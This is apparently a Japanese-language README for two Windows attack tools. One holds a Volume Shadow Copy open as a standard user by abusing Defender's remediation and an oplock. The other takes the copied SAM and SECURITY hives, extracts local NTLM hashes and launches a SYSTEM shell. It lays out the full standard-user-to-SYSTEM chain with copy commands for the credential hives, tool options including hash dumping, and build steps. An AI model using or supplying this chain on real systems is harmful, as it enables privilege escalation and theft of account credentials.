
テスト
Windows 上の任意ファイル読み取り(arbitrary file read)バグをSYSTEM シェルに変える2つの小さなツールです。
vss_freeze/ — 標準ユーザーとして Volume Shadow Copy を作成し、それを開いたまま保持することで、SAM/SECURITY/SYSTEM ハイブを読み出す時間を確保しますfr2system/ — コピーしたハイブを受け取り、ローカルの NTLM ハッシュをオフラインで復号し、SYSTEM シェルを起動しますSYSTEM として実行される任意の arb-file-read プリミティブ(または \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\... から読み出せるものなら何でも)と組み合わせることで、既定の Win10/Win11 マシン上で標準ユーザー → SYSTEM の完全なチェーンを構成します。
これはBlueHammerから抽出したものです。Win Defender 悪用研究の中で、監視対象パスに EICAR ファイルを配置すると、Defender が修復フローの一環として Volume Shadow Copy を作成することを発見しました。Defender のロードパスに対して RstrtMgr.dll バッチ oplock を保持し、Defender を修復の開始時点で停止させたままにすることで、必要なだけ VSS を維持しました。
当初はその上に Stage 2 の cldflt freeze もありましたが、cldflt は Win11 24H2 で OneDrive 以外の同期プロバイダーを拒否します(CfRegisterSyncRoot が 0x80070057 を返します)。Stage 1 の oplock を開いたまま保持するだけで十分であることが判明しました — Defender は一時停止したまま、VSS は生存し続け、Cloud Files API は一切不要です。
[ vss_simple_freeze.exe ] → [ your arb-read PoC ] → [ fr2system.exe ]
creates VSS as std user reads SAM/SECURITY cracks NTLM, pops SYSTEM
holds it via oplock out of the VSS path shell
vss_simple_freeze.exe --hold 120 を実行します。VSS パス(例: \Device\HarddiskVolumeShadowCopy7)が表示されます。\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITYC:\Windows\Temp\fileread\SAM と C:\Windows\Temp\fileread\SECURITY として配置します。fr2system.exe を実行します。SYSTEM シェルが起動します。自分のマシンでチェーンがエンドツーエンドで動作することを確認したいだけなら、管理者 cmd を使って arb-read のステップを偽装します:
:: Window 1 - std user
vss_simple_freeze.exe --hold 300
:: Window 2 - admin cmd (simulating the arb-read primitive)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: Window 3 - std user again
fr2system.exe
(7 は vss_simple_freeze が出力した番号に置き換えてください。)
vss_simple_freeze.exe [options]
--hold N Auto-release after N seconds (default: wait for Enter)
--auto Non-interactive, hold up to 600s
--publish FILE Write VSS path to FILE (default: %TEMP%\vss_current.txt)
--no-publish Don't write VSS path anywhere
--event NAME Release when named event Local\NAME is signaled
--quiet Suppress per-second liveness output
--help Show help
Examples:
vss_simple_freeze.exe # interactive, Enter to release
vss_simple_freeze.exe --hold 120 # auto-release after 2 min
vss_simple_freeze.exe --event lpe_done --hold 300 # release on signal or 5 min
fr2system.exe [options]
(none) Default - read SAM/SECURITY from C:\Windows\Temp\fileread, escalate to SYSTEM
--dump Dump NTLM hashes only, don't escalate
--scan Scan for alternative credential sources
--path DIR Use a different input directory
--help Show help
Examples:
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
fr2system.exe は入力ディレクトリに少なくとも SAM が必要です。SECURITY はオプションです(LSA シークレット / DPAPI キーに使用)。
両プロジェクトとも MSVC(静的 CRT、x64)を使用しています。
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64
VSS 作成:

fr2system → SYSTEM シェル:
